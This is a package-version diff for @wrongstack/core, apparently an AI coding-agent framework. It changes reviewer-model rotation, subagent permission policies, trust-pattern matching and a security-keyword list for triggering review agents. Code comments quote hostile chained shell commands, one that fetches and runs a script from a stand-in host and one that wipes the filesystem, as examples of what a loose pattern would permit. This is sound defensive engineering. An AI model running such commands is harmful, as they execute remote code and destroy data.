@wrongstack/core 0.298.0 → 0.298.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/coordination/index.js +92 -7
- package/dist/coordination/mail-tools.d.ts +3 -3
- package/dist/coordination/mailbox-codecs.d.ts +1 -1
- package/dist/coordination/mailbox-project-server.js +32 -1
- package/dist/coordination/mailbox-types.d.ts +158 -3
- package/dist/coordination/model-matrix.d.ts +16 -0
- package/dist/core/index.js +447 -43
- package/dist/defaults/index.js +86 -63
- package/dist/index.js +816 -674
- package/dist/infrastructure/index.js +21 -2
- package/dist/models/index.d.ts +1 -0
- package/dist/models/index.js +108 -1
- package/dist/models/models-dev-schema.d.ts +308 -0
- package/dist/plugin/index.js +52 -55
- package/dist/plugins/auto-review-plugin.d.ts +18 -13
- package/dist/security/auto-approve-policy.d.ts +37 -0
- package/dist/security/index.js +64 -60
- package/dist/security/permission-helpers.d.ts +93 -0
- package/dist/security/permission-policy.d.ts +2 -52
- package/dist/storage/index.js +21 -2
- package/dist/tools/index.js +30 -2
- package/dist/types/config/autonomy.d.ts +3 -4
- package/dist/types/config/providers.d.ts +13 -1
- package/dist/types/models-registry.d.ts +9 -4
- package/dist/utils/index.d.ts +1 -0
- package/dist/utils/index.js +46 -0
- package/dist/utils/sage-output-block.js +48 -0
- package/instructions/llm/chimera-review.md +4 -6
- package/package.json +9 -4
- package/skills/auto-review/SKILL.md +11 -76
- package/skills/chimera/SKILL.md +23 -53
package/dist/plugin/index.js
CHANGED
|
@@ -6839,7 +6839,7 @@ function trimKnownFingerprints(map, max) {
|
|
|
6839
6839
|
map.delete(oldest);
|
|
6840
6840
|
}
|
|
6841
6841
|
}
|
|
6842
|
-
function buildReviewerModelPool(provider, model, fallbackModels = []) {
|
|
6842
|
+
function buildReviewerModelPool(provider, model, fallbackModels = [], statusTracker) {
|
|
6843
6843
|
const primaryProvider = provider.trim();
|
|
6844
6844
|
const primaryModel = model.trim();
|
|
6845
6845
|
const primaryRef = primaryProvider && primaryModel ? `${primaryProvider}/${primaryModel}` : "";
|
|
@@ -6854,12 +6854,20 @@ function buildReviewerModelPool(provider, model, fallbackModels = []) {
|
|
|
6854
6854
|
if (seen.has(normalized)) continue;
|
|
6855
6855
|
seen.add(ref);
|
|
6856
6856
|
seen.add(normalized);
|
|
6857
|
+
if (statusTracker && !statusTracker.isAvailable(parsed.provider.trim(), parsed.model.trim())) {
|
|
6858
|
+
continue;
|
|
6859
|
+
}
|
|
6857
6860
|
pool.push(normalized);
|
|
6858
6861
|
}
|
|
6859
6862
|
return pool;
|
|
6860
6863
|
}
|
|
6861
|
-
function selectRoundRobinReviewerAssignment(pool, cursor, fallbackProvider = "", fallbackModel = "") {
|
|
6862
|
-
|
|
6864
|
+
function selectRoundRobinReviewerAssignment(pool, cursor, fallbackProvider = "", fallbackModel = "", statusTracker) {
|
|
6865
|
+
const filteredPool = statusTracker ? pool.filter((ref) => {
|
|
6866
|
+
const parsed2 = parseModelRef(ref);
|
|
6867
|
+
if (!parsed2.provider?.trim() || !parsed2.model.trim()) return false;
|
|
6868
|
+
return statusTracker.isAvailable(parsed2.provider.trim(), parsed2.model.trim());
|
|
6869
|
+
}) : pool;
|
|
6870
|
+
if (filteredPool.length === 0) {
|
|
6863
6871
|
return {
|
|
6864
6872
|
provider: fallbackProvider,
|
|
6865
6873
|
model: fallbackModel,
|
|
@@ -6867,13 +6875,13 @@ function selectRoundRobinReviewerAssignment(pool, cursor, fallbackProvider = "",
|
|
|
6867
6875
|
nextCursor: cursor + 1
|
|
6868
6876
|
};
|
|
6869
6877
|
}
|
|
6870
|
-
const len =
|
|
6878
|
+
const len = filteredPool.length;
|
|
6871
6879
|
const idx = (cursor % len + len) % len;
|
|
6872
|
-
const primaryRef =
|
|
6880
|
+
const primaryRef = filteredPool[idx];
|
|
6873
6881
|
const parsed = parseModelRef(primaryRef);
|
|
6874
6882
|
const provider = parsed.provider?.trim() || fallbackProvider;
|
|
6875
6883
|
const model = parsed.model.trim() || fallbackModel;
|
|
6876
|
-
const fallbackModels = [...
|
|
6884
|
+
const fallbackModels = [...filteredPool.slice(idx + 1), ...filteredPool.slice(0, idx)];
|
|
6877
6885
|
return {
|
|
6878
6886
|
provider,
|
|
6879
6887
|
model,
|
|
@@ -6915,57 +6923,49 @@ function parseReviewSeverity(text) {
|
|
|
6915
6923
|
const result = { critical: 0, high: 0, medium: 0 };
|
|
6916
6924
|
if (!text) return result;
|
|
6917
6925
|
for (const level of ["critical", "high", "medium"]) {
|
|
6918
|
-
const
|
|
6919
|
-
const countMatch = text.match(countRe);
|
|
6926
|
+
const countMatch = text.match(new RegExp(`###\\s*${level}\\s*\\((\\d+)\\)`, "i"));
|
|
6920
6927
|
if (countMatch?.[1]) {
|
|
6921
6928
|
result[level] = Number.parseInt(countMatch[1], 10);
|
|
6922
6929
|
continue;
|
|
6923
6930
|
}
|
|
6924
|
-
const
|
|
6925
|
-
|
|
6926
|
-
|
|
6927
|
-
|
|
6928
|
-
result[level] = items ? items.length : 0;
|
|
6929
|
-
}
|
|
6931
|
+
const section = text.match(
|
|
6932
|
+
new RegExp(`###\\s*${level}[^\\n]*\\n([\\s\\S]*?)(?=###|$)`, "i")
|
|
6933
|
+
)?.[1];
|
|
6934
|
+
result[level] = section?.match(/^\s*\d+\.\s/gm)?.length ?? 0;
|
|
6930
6935
|
}
|
|
6931
6936
|
return result;
|
|
6932
6937
|
}
|
|
6933
|
-
var SECURITY_KEYWORDS = [
|
|
6934
|
-
"injection",
|
|
6935
|
-
"xss",
|
|
6936
|
-
"csrf",
|
|
6937
|
-
"ssrf",
|
|
6938
|
-
"sql",
|
|
6939
|
-
"secret",
|
|
6940
|
-
"credential",
|
|
6941
|
-
"password",
|
|
6942
|
-
"api key",
|
|
6943
|
-
"token",
|
|
6944
|
-
"auth",
|
|
6945
|
-
"shell injection",
|
|
6946
|
-
"command injection",
|
|
6947
|
-
"innerhtml",
|
|
6948
|
-
"deserialization",
|
|
6949
|
-
"path traversal",
|
|
6950
|
-
"hardcoded",
|
|
6951
|
-
"privilege",
|
|
6952
|
-
"owasp"
|
|
6953
|
-
];
|
|
6954
6938
|
function decideCascadeAgents(text, severities) {
|
|
6955
6939
|
const agents = /* @__PURE__ */ new Set();
|
|
6956
|
-
if (severities.critical > 0 || severities.high > 0)
|
|
6957
|
-
|
|
6958
|
-
|
|
6959
|
-
|
|
6960
|
-
|
|
6961
|
-
|
|
6962
|
-
|
|
6940
|
+
if (severities.critical > 0 || severities.high > 0) agents.add("bug-hunter");
|
|
6941
|
+
const securityKeywords = [
|
|
6942
|
+
"injection",
|
|
6943
|
+
"xss",
|
|
6944
|
+
"csrf",
|
|
6945
|
+
"ssrf",
|
|
6946
|
+
"sql",
|
|
6947
|
+
"secret",
|
|
6948
|
+
"credential",
|
|
6949
|
+
"password",
|
|
6950
|
+
"api key",
|
|
6951
|
+
"token",
|
|
6952
|
+
"auth",
|
|
6953
|
+
"shell injection",
|
|
6954
|
+
"command injection",
|
|
6955
|
+
"innerhtml",
|
|
6956
|
+
"deserialization",
|
|
6957
|
+
"path traversal",
|
|
6958
|
+
"hardcoded",
|
|
6959
|
+
"privilege",
|
|
6960
|
+
"owasp"
|
|
6961
|
+
];
|
|
6962
|
+
const criticalHighSections = text.toLowerCase().matchAll(/###\s*(?:critical|high)[^\n]*\n([\s\S]*?)(?=###|$)/gi);
|
|
6963
|
+
for (const section of criticalHighSections) {
|
|
6963
6964
|
const body = section[1] ?? "";
|
|
6964
|
-
if (
|
|
6965
|
+
if (securityKeywords.some((keyword) => body.includes(keyword))) {
|
|
6965
6966
|
agents.add("security-scanner");
|
|
6966
6967
|
break;
|
|
6967
6968
|
}
|
|
6968
|
-
section = criticalHighRe.exec(lower);
|
|
6969
6969
|
}
|
|
6970
6970
|
return [...agents];
|
|
6971
6971
|
}
|
|
@@ -7058,9 +7058,8 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
|
|
|
7058
7058
|
"Detects git-tracked file edits and dispatches review subagents",
|
|
7059
7059
|
"with configurable provider/model/fallback.",
|
|
7060
7060
|
"",
|
|
7061
|
-
"
|
|
7062
|
-
"
|
|
7063
|
-
"automatically spawned to investigate.",
|
|
7061
|
+
"Reports are persisted and shown as passive notifications.",
|
|
7062
|
+
"They never wake the leader or spawn mutating follow-up agents.",
|
|
7064
7063
|
"",
|
|
7065
7064
|
"Commands:",
|
|
7066
7065
|
" /auto-review Show current status and config",
|
|
@@ -7075,11 +7074,8 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
|
|
|
7075
7074
|
" debounceMs debounce window (default 15000)",
|
|
7076
7075
|
" maxFilesPerBatch max files per review (default 15)",
|
|
7077
7076
|
" maxConcurrentReviews max parallel reviews (default 2)",
|
|
7078
|
-
|
|
7079
|
-
"
|
|
7080
|
-
' findings reach this severity. "high" fires',
|
|
7081
|
-
' on any High+ finding; "critical" only on Critical.',
|
|
7082
|
-
" maxCascadeDepth max fix+re-review cycles (default 2, 0=off)"
|
|
7077
|
+
" cascadeOn off | critical | high (default off)",
|
|
7078
|
+
" maxCascadeDepth max fix+re-review cycles (default 2)"
|
|
7083
7079
|
].join("\n"),
|
|
7084
7080
|
async run(args) {
|
|
7085
7081
|
const cfg = getConfig();
|
|
@@ -7095,7 +7091,6 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
|
|
|
7095
7091
|
};
|
|
7096
7092
|
}
|
|
7097
7093
|
const inFlight = getInFlightCount();
|
|
7098
|
-
const cascadeDesc = cfg.cascadeOn === "off" ? "disabled" : `on ${cfg.cascadeOn}+ \u2192 spawns security-scanner/bug-hunter`;
|
|
7099
7094
|
return {
|
|
7100
7095
|
message: [
|
|
7101
7096
|
`\u{1F4CB} Auto Review \u2014 ${cfg.enabled ? "\u2705 enabled" : "\u23F8\uFE0F disabled"}`,
|
|
@@ -7106,7 +7101,7 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
|
|
|
7106
7101
|
` Debounce: ${cfg.debounceMs} ms`,
|
|
7107
7102
|
` Max files: ${cfg.maxFilesPerBatch}`,
|
|
7108
7103
|
` Max parallel: ${cfg.maxConcurrentReviews}`,
|
|
7109
|
-
` Cascade: ${
|
|
7104
|
+
` Cascade: ${cfg.cascadeOn === "off" ? "off" : `on ${cfg.cascadeOn}+ \u2192 spawns security-scanner/bug-hunter`}`,
|
|
7110
7105
|
` Max depth: ${cfg.maxCascadeDepth} re-review cycle(s)`,
|
|
7111
7106
|
` In-flight: ${inFlight} review(s)`,
|
|
7112
7107
|
"",
|
|
@@ -8414,7 +8409,9 @@ function createChimeraPlugin() {
|
|
|
8414
8409
|
api.log.info("[chimera] skipped \u2014 changed files already have reviews in progress");
|
|
8415
8410
|
return;
|
|
8416
8411
|
}
|
|
8417
|
-
api.log.info(
|
|
8412
|
+
api.log.info(
|
|
8413
|
+
`[chimera] emitted review_needed event (${emittedBundle.files.length} files)`
|
|
8414
|
+
);
|
|
8418
8415
|
} catch (err) {
|
|
8419
8416
|
api.log.warn(`[chimera] session.ended handler failed: ${toErrorMessage(err)}`);
|
|
8420
8417
|
}
|
|
@@ -1,3 +1,4 @@
|
|
|
1
|
+
import type { ProviderModelStatusTracker } from '../coordination/provider-status-tracker.js';
|
|
1
2
|
import type { Config } from '../types/config.js';
|
|
2
3
|
import type { Plugin } from '../types/plugin.js';
|
|
3
4
|
import type { CascadeAgentKind } from './chimera-plugin.js';
|
|
@@ -70,8 +71,15 @@ export interface ReviewerModelAssignment {
|
|
|
70
71
|
*
|
|
71
72
|
* Order is stable: configured primary first, then the fallback chain.
|
|
72
73
|
* Entries must be `provider/model` (or parseable refs); bare blanks are dropped.
|
|
74
|
+
*
|
|
75
|
+
* When a {@link ProviderModelStatusTracker} is supplied, every entry that is
|
|
76
|
+
* currently `state: 'blocked'` (waiting-room / token-reset-limit room) is
|
|
77
|
+
* filtered out before the pool is returned. Without this filter, concurrent
|
|
78
|
+
* Chimera reviewers would re-spawn on a 429-stricken model on every round-
|
|
79
|
+
* robin turn and burn the entire chain instead of leaving the doomed model
|
|
80
|
+
* quarantined until the tracker re-admits it.
|
|
73
81
|
*/
|
|
74
|
-
export declare function buildReviewerModelPool(provider: string, model: string, fallbackModels?: readonly string[]): string[];
|
|
82
|
+
export declare function buildReviewerModelPool(provider: string, model: string, fallbackModels?: readonly string[], statusTracker?: ProviderModelStatusTracker | undefined): string[];
|
|
75
83
|
/**
|
|
76
84
|
* Pick primary + fallback chain for the Nth concurrent reviewer via round-robin.
|
|
77
85
|
*
|
|
@@ -79,28 +87,25 @@ export declare function buildReviewerModelPool(provider: string, model: string,
|
|
|
79
87
|
* rotated so the former primary lands last (still available after rate limits).
|
|
80
88
|
* The pool must be pre-filtered by {@link buildReviewerModelPool} so every
|
|
81
89
|
* non-empty entry contains both a provider and a model.
|
|
90
|
+
*
|
|
91
|
+
* When a {@link ProviderModelStatusTracker} is supplied, the cursor advances
|
|
92
|
+
* over blocked entries too — a doomed entry is never picked as the primary,
|
|
93
|
+
* but the cursor saturates against the live pool so the next-after-blocked
|
|
94
|
+
* round inherits the rest of the unwalked chain instead of looping back to
|
|
95
|
+
* the head. Without the tracker, the cursor advances mod `pool.length`,
|
|
96
|
+
* which is the pre-waiting-room behavior.
|
|
82
97
|
* Pure: the caller owns the cursor (typically a process-local counter).
|
|
83
98
|
*/
|
|
84
99
|
export declare function selectRoundRobinReviewerAssignment(pool: readonly string[], cursor: number,
|
|
85
100
|
/** Used only when the selected ref is somehow unparseable — defensive. */
|
|
86
|
-
fallbackProvider?: string, fallbackModel?: string): ReviewerModelAssignment;
|
|
101
|
+
fallbackProvider?: string, fallbackModel?: string, statusTracker?: ProviderModelStatusTracker | undefined): ReviewerModelAssignment;
|
|
87
102
|
export declare function resolveAutoReviewConfig(cfg: AutoReviewConfig, sessionConfig: Config): ResolvedAutoReviewConfig;
|
|
88
103
|
export interface ParsedSeverities {
|
|
89
104
|
critical: number;
|
|
90
105
|
high: number;
|
|
91
106
|
medium: number;
|
|
92
107
|
}
|
|
93
|
-
/**
|
|
94
|
-
* Extract Critical/High/Medium finding counts from a Chimera review report.
|
|
95
|
-
*
|
|
96
|
-
* The report format (from llm/chimera-review.md) uses section headers like
|
|
97
|
-
* `### Critical (2)`, `### High (1)`, `### Medium (3)`. We match the count
|
|
98
|
-
* in parentheses. Falls back to counting `1.`, `2.` list-item markers under
|
|
99
|
-
* a severity heading when no `(N)` is present (defensive — the prompt asks
|
|
100
|
-
* for both, but LLMs sometimes omit the count).
|
|
101
|
-
*
|
|
102
|
-
* Returns all-zero when the text doesn't match (clean report or unparseable).
|
|
103
|
-
*/
|
|
108
|
+
/** Parse report counts for clean-vs-actionable classification. */
|
|
104
109
|
export declare function parseReviewSeverity(text: string): ParsedSeverities;
|
|
105
110
|
/**
|
|
106
111
|
* Decide which follow-up cascade agents to spawn based on the review text.
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Auto-approving PermissionPolicy used for subagents. Subagents run
|
|
3
|
+
* non-interactively under a director — they cannot answer permission
|
|
4
|
+
* prompts, so a non-YOLO policy on the leader would silently hang the
|
|
5
|
+
* delegated run on the first sensitive tool call. The user already
|
|
6
|
+
* authorized the delegation when they invoked the leader; subagents
|
|
7
|
+
* inherit that authorization automatically.
|
|
8
|
+
*
|
|
9
|
+
* Tool defaults of `permission: 'deny'` are still honored (this is a
|
|
10
|
+
* subagent capability override, not a deny-bypass).
|
|
11
|
+
*
|
|
12
|
+
* 2026-06+: Primary decision is now based on declared `Tool.capabilities`
|
|
13
|
+
* (capability allowlist / denylist model). The legacy name-based DENY set
|
|
14
|
+
* is kept only for backward compatibility with tools that have not yet
|
|
15
|
+
* declared capabilities.
|
|
16
|
+
*
|
|
17
|
+
* 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
|
|
18
|
+
* allowed capabilities are auto-approved. Everything else is denied.
|
|
19
|
+
* Default allowed: fs.read, net.outbound (read-only, safe operations).
|
|
20
|
+
*
|
|
21
|
+
* Extracted from permission-policy.ts.
|
|
22
|
+
*/
|
|
23
|
+
import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
|
|
24
|
+
import type { Tool } from '../types/tool.js';
|
|
25
|
+
export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
|
|
26
|
+
private readonly allowedCapabilities;
|
|
27
|
+
constructor(allowedCapabilities?: readonly string[]);
|
|
28
|
+
private static isMcpTool;
|
|
29
|
+
evaluate(tool: Tool): Promise<PermissionDecision>;
|
|
30
|
+
trust(): Promise<void>;
|
|
31
|
+
deny(): Promise<void>;
|
|
32
|
+
denyOnce(): void;
|
|
33
|
+
allowOnce(): void;
|
|
34
|
+
explain(tool: Tool): Promise<PermissionTrace>;
|
|
35
|
+
reload(): Promise<void>;
|
|
36
|
+
}
|
|
37
|
+
//# sourceMappingURL=auto-approve-policy.d.ts.map
|
package/dist/security/index.js
CHANGED
|
@@ -2140,7 +2140,68 @@ function isClearlyDestructiveBashCommand(command, projectRoot) {
|
|
|
2140
2140
|
return false;
|
|
2141
2141
|
}
|
|
2142
2142
|
|
|
2143
|
-
// src/security/
|
|
2143
|
+
// src/security/auto-approve-policy.ts
|
|
2144
|
+
var AutoApprovePermissionPolicy = class _AutoApprovePermissionPolicy {
|
|
2145
|
+
allowedCapabilities;
|
|
2146
|
+
constructor(allowedCapabilities) {
|
|
2147
|
+
this.allowedCapabilities = allowedCapabilities ?? [
|
|
2148
|
+
ToolCapabilities.FS_READ,
|
|
2149
|
+
ToolCapabilities.NET_OUTBOUND
|
|
2150
|
+
];
|
|
2151
|
+
}
|
|
2152
|
+
static isMcpTool(name) {
|
|
2153
|
+
return name.startsWith("mcp__");
|
|
2154
|
+
}
|
|
2155
|
+
async evaluate(tool) {
|
|
2156
|
+
const caps = tool.capabilities ?? [];
|
|
2157
|
+
const hasAllowedCap = caps.some((c) => this.allowedCapabilities.includes(c));
|
|
2158
|
+
const isMcp = _AutoApprovePermissionPolicy.isMcpTool(tool.name);
|
|
2159
|
+
const mcpProxyAllowed = this.allowedCapabilities.includes(ToolCapabilities.MCP_PROXY);
|
|
2160
|
+
const dangerousNotAllowed = getDangerousCapabilities(tool).filter(
|
|
2161
|
+
(c) => !this.allowedCapabilities.includes(c)
|
|
2162
|
+
);
|
|
2163
|
+
const blocked = tool.permission === "deny" || isMcp && !mcpProxyAllowed || !hasAllowedCap || dangerousNotAllowed.length > 0;
|
|
2164
|
+
if (blocked) {
|
|
2165
|
+
const reason = isMcp && !mcpProxyAllowed ? `MCP tool ${tool.name} is not auto-approved for subagents \u2014 ask the leader to allow mcp.proxy explicitly` : tool.permission === "deny" ? "tool default deny" : dangerousNotAllowed.length > 0 ? `tool requires un-granted dangerous capability (needs: ${dangerousNotAllowed.join(", ")}, allowed: ${this.allowedCapabilities.join(", ")})` : `tool lacks allowed capability (has: ${caps.join(", ") || "none"}, allowed: ${this.allowedCapabilities.join(", ")})`;
|
|
2166
|
+
return {
|
|
2167
|
+
permission: "deny",
|
|
2168
|
+
source: "subagent_guard",
|
|
2169
|
+
reason
|
|
2170
|
+
};
|
|
2171
|
+
}
|
|
2172
|
+
return { permission: "auto", source: "yolo" };
|
|
2173
|
+
}
|
|
2174
|
+
async trust() {
|
|
2175
|
+
}
|
|
2176
|
+
async deny() {
|
|
2177
|
+
}
|
|
2178
|
+
denyOnce() {
|
|
2179
|
+
}
|
|
2180
|
+
allowOnce() {
|
|
2181
|
+
}
|
|
2182
|
+
async explain(tool) {
|
|
2183
|
+
const decision = await this.evaluate(tool);
|
|
2184
|
+
return {
|
|
2185
|
+
toolName: tool.name,
|
|
2186
|
+
subject: null,
|
|
2187
|
+
steps: [
|
|
2188
|
+
{
|
|
2189
|
+
rule: "subagent auto",
|
|
2190
|
+
matched: decision.permission === "auto",
|
|
2191
|
+
decision: decision.permission,
|
|
2192
|
+
source: decision.source,
|
|
2193
|
+
detail: decision.reason ?? `subagent policy: ${decision.permission}`
|
|
2194
|
+
}
|
|
2195
|
+
],
|
|
2196
|
+
winnerIndex: 0,
|
|
2197
|
+
decision
|
|
2198
|
+
};
|
|
2199
|
+
}
|
|
2200
|
+
async reload() {
|
|
2201
|
+
}
|
|
2202
|
+
};
|
|
2203
|
+
|
|
2204
|
+
// src/security/permission-helpers.ts
|
|
2144
2205
|
function matchesTrust(patterns, subject) {
|
|
2145
2206
|
return patterns.includes(subject) || matchAny(patterns, subject);
|
|
2146
2207
|
}
|
|
@@ -2235,6 +2296,8 @@ function shellCommandReadsSensitivePath(command) {
|
|
|
2235
2296
|
}
|
|
2236
2297
|
return false;
|
|
2237
2298
|
}
|
|
2299
|
+
|
|
2300
|
+
// src/security/permission-policy.ts
|
|
2238
2301
|
var DefaultPermissionPolicy = class {
|
|
2239
2302
|
policy = {};
|
|
2240
2303
|
loaded = false;
|
|
@@ -2977,65 +3040,6 @@ var DefaultPermissionPolicy = class {
|
|
|
2977
3040
|
return void 0;
|
|
2978
3041
|
}
|
|
2979
3042
|
};
|
|
2980
|
-
var AutoApprovePermissionPolicy = class _AutoApprovePermissionPolicy {
|
|
2981
|
-
allowedCapabilities;
|
|
2982
|
-
constructor(allowedCapabilities) {
|
|
2983
|
-
this.allowedCapabilities = allowedCapabilities ?? [
|
|
2984
|
-
ToolCapabilities.FS_READ,
|
|
2985
|
-
ToolCapabilities.NET_OUTBOUND
|
|
2986
|
-
];
|
|
2987
|
-
}
|
|
2988
|
-
static isMcpTool(name) {
|
|
2989
|
-
return name.startsWith("mcp__");
|
|
2990
|
-
}
|
|
2991
|
-
async evaluate(tool) {
|
|
2992
|
-
const caps = tool.capabilities ?? [];
|
|
2993
|
-
const hasAllowedCap = caps.some((c) => this.allowedCapabilities.includes(c));
|
|
2994
|
-
const isMcp = _AutoApprovePermissionPolicy.isMcpTool(tool.name);
|
|
2995
|
-
const mcpProxyAllowed = this.allowedCapabilities.includes(ToolCapabilities.MCP_PROXY);
|
|
2996
|
-
const dangerousNotAllowed = getDangerousCapabilities(tool).filter(
|
|
2997
|
-
(c) => !this.allowedCapabilities.includes(c)
|
|
2998
|
-
);
|
|
2999
|
-
const blocked = tool.permission === "deny" || isMcp && !mcpProxyAllowed || !hasAllowedCap || dangerousNotAllowed.length > 0;
|
|
3000
|
-
if (blocked) {
|
|
3001
|
-
const reason = isMcp && !mcpProxyAllowed ? `MCP tool ${tool.name} is not auto-approved for subagents \u2014 ask the leader to allow mcp.proxy explicitly` : tool.permission === "deny" ? "tool default deny" : dangerousNotAllowed.length > 0 ? `tool requires un-granted dangerous capability (needs: ${dangerousNotAllowed.join(", ")}, allowed: ${this.allowedCapabilities.join(", ")})` : `tool lacks allowed capability (has: ${caps.join(", ") || "none"}, allowed: ${this.allowedCapabilities.join(", ")})`;
|
|
3002
|
-
return {
|
|
3003
|
-
permission: "deny",
|
|
3004
|
-
source: "subagent_guard",
|
|
3005
|
-
reason
|
|
3006
|
-
};
|
|
3007
|
-
}
|
|
3008
|
-
return { permission: "auto", source: "yolo" };
|
|
3009
|
-
}
|
|
3010
|
-
async trust() {
|
|
3011
|
-
}
|
|
3012
|
-
async deny() {
|
|
3013
|
-
}
|
|
3014
|
-
denyOnce() {
|
|
3015
|
-
}
|
|
3016
|
-
allowOnce() {
|
|
3017
|
-
}
|
|
3018
|
-
async explain(tool) {
|
|
3019
|
-
const decision = await this.evaluate(tool);
|
|
3020
|
-
return {
|
|
3021
|
-
toolName: tool.name,
|
|
3022
|
-
subject: null,
|
|
3023
|
-
steps: [
|
|
3024
|
-
{
|
|
3025
|
-
rule: "subagent auto",
|
|
3026
|
-
matched: decision.permission === "auto",
|
|
3027
|
-
decision: decision.permission,
|
|
3028
|
-
source: decision.source,
|
|
3029
|
-
detail: decision.reason ?? `subagent policy: ${decision.permission}`
|
|
3030
|
-
}
|
|
3031
|
-
],
|
|
3032
|
-
winnerIndex: 0,
|
|
3033
|
-
decision
|
|
3034
|
-
};
|
|
3035
|
-
}
|
|
3036
|
-
async reload() {
|
|
3037
|
-
}
|
|
3038
|
-
};
|
|
3039
3043
|
|
|
3040
3044
|
// src/security/readonly-permission-policy.ts
|
|
3041
3045
|
import * as path4 from "node:path";
|
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Pure helpers for permission policy evaluation — trust-pattern matching,
|
|
3
|
+
* tool fingerprinting, and sensitive-read detection.
|
|
4
|
+
*
|
|
5
|
+
* Extracted from permission-policy.ts. No class state, no I/O.
|
|
6
|
+
*/
|
|
7
|
+
import type { Tool } from '../types/tool.js';
|
|
8
|
+
/**
|
|
9
|
+
* Match a computed subject against stored trust patterns.
|
|
10
|
+
*
|
|
11
|
+
* Exact string equality is checked FIRST, before glob compilation. Subjects are
|
|
12
|
+
* glob-escaped at the source (`escapeGlobSubject` turns `* ? [ ]` into `\* \? \[
|
|
13
|
+
* \]`), and a stored "always"-trust pattern is just a prior subject — so for an
|
|
14
|
+
* identical command the pattern and the subject are byte-for-byte equal. The
|
|
15
|
+
* glob matcher alone could not confirm that: `compileGlob` does not treat a
|
|
16
|
+
* backslash as an escape outside character classes, so an escaped `\[`/`\]` is
|
|
17
|
+
* parsed as a character-class delimiter and a command like `[ -f x ]` or
|
|
18
|
+
* `grep "[0-9]"` never re-matched its own trust entry — re-prompting forever
|
|
19
|
+
* even after the user chose "always" (#15). Exact equality is also strictly
|
|
20
|
+
* tighter than a glob, so this never widens what a pattern authorizes; genuine
|
|
21
|
+
* wildcard patterns (e.g. a user-authored `git *`) still fall through to glob.
|
|
22
|
+
*/
|
|
23
|
+
export declare function matchesTrust(patterns: string[], subject: string): boolean;
|
|
24
|
+
/**
|
|
25
|
+
* Match a trust pattern against a shell command line, for ALLOW decisions only
|
|
26
|
+
* (WS-047).
|
|
27
|
+
*
|
|
28
|
+
* `matchesTrust` compiles `*` to `[^/]*`, which crosses `;`, `&` and `|`. On a
|
|
29
|
+
* path that is right; on a command it means a user who wrote `git *` also
|
|
30
|
+
* authorized `git status; wget evil.sh | sh`. `matchAnyCommand` stops the
|
|
31
|
+
* wildcard at shell separators, so the pattern authorizes what it appears to.
|
|
32
|
+
*
|
|
33
|
+
* DELIBERATELY NOT used for deny. This matcher is strictly narrower, and
|
|
34
|
+
* narrowing a deny pattern un-blocks whatever falls outside it: a deny of
|
|
35
|
+
* `git *` must keep matching `git status; rm -rf /`, because the user's intent
|
|
36
|
+
* there is "no git-shaped command gets through", not "only well-formed ones".
|
|
37
|
+
* Narrower is safer for allow and more dangerous for deny — hence two call
|
|
38
|
+
* sites with two matchers rather than one shared helper that picks.
|
|
39
|
+
*
|
|
40
|
+
* Exact equality is kept first for the same reason as `matchesTrust`: a stored
|
|
41
|
+
* "always" pattern is a prior subject, and glob-escaped brackets do not
|
|
42
|
+
* round-trip through the compiler (#15).
|
|
43
|
+
*/
|
|
44
|
+
export declare function matchesCommandTrust(patterns: string[], subject: string): boolean;
|
|
45
|
+
/**
|
|
46
|
+
* True when this tool's permission subject is a shell command line rather than
|
|
47
|
+
* a path, url, or name — i.e. when the stricter wildcard rules apply.
|
|
48
|
+
*/
|
|
49
|
+
export declare function hasShellSubject(tool: Tool): boolean;
|
|
50
|
+
/**
|
|
51
|
+
* Reason a persistent "always allow" cannot be recorded for this call, or
|
|
52
|
+
* `undefined` when it can (WS-046).
|
|
53
|
+
*
|
|
54
|
+
* A stored trust pattern is only ever consulted as
|
|
55
|
+
* `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
|
|
56
|
+
* produces no subject, that condition can never be true — so `trust()` with the
|
|
57
|
+
* fallback `pattern: tool.name` writes an entry that is dead on arrival.
|
|
58
|
+
*
|
|
59
|
+
* The user experience of that bug is the damaging part. They pick "always
|
|
60
|
+
* allow", are asked again on the very next identical call, conclude the feature
|
|
61
|
+
* is broken, and reach for the one thing that does work: a blanket
|
|
62
|
+
* `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
|
|
63
|
+
* actively trains people into the widest possible grant.
|
|
64
|
+
*
|
|
65
|
+
* So the option is refused with a stated reason instead of accepted and
|
|
66
|
+
* discarded. Exported so a UI can hide the choice rather than offer one that
|
|
67
|
+
* cannot be honoured.
|
|
68
|
+
*/
|
|
69
|
+
export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
|
|
70
|
+
/**
|
|
71
|
+
* Fingerprint of the tool fields a permission decision actually depends on
|
|
72
|
+
* (WS-058).
|
|
73
|
+
*
|
|
74
|
+
* The eval cache was keyed on tool NAME plus subject, so a cached verdict
|
|
75
|
+
* outlived the tool definition it was computed from. `ToolRegistry.wrap()`
|
|
76
|
+
* replaces a tool in place and is reachable from the plugin API, so a tool
|
|
77
|
+
* tightened to `permission: 'deny'` mid-session would keep being served the
|
|
78
|
+
* `auto` decided under its previous definition. The cache check also runs
|
|
79
|
+
* BEFORE the tool-default-deny branch, so nothing downstream re-checked.
|
|
80
|
+
*
|
|
81
|
+
* Including these fields in the key means a redefined tool misses the cache
|
|
82
|
+
* and is re-evaluated, rather than inheriting a verdict that no longer
|
|
83
|
+
* describes it. Capabilities are included because the dangerous-capability
|
|
84
|
+
* branches read them; they are short, sorted lists. The tuple is
|
|
85
|
+
* JSON-serialized so separators inside a field value (e.g. a `,` or `|`
|
|
86
|
+
* in a capability string) cannot collide with the delimiters between
|
|
87
|
+
* fields.
|
|
88
|
+
*/
|
|
89
|
+
export declare function permissionFingerprint(tool: Tool): string;
|
|
90
|
+
export declare function shellCommandLineFromInput(input: unknown): string | undefined;
|
|
91
|
+
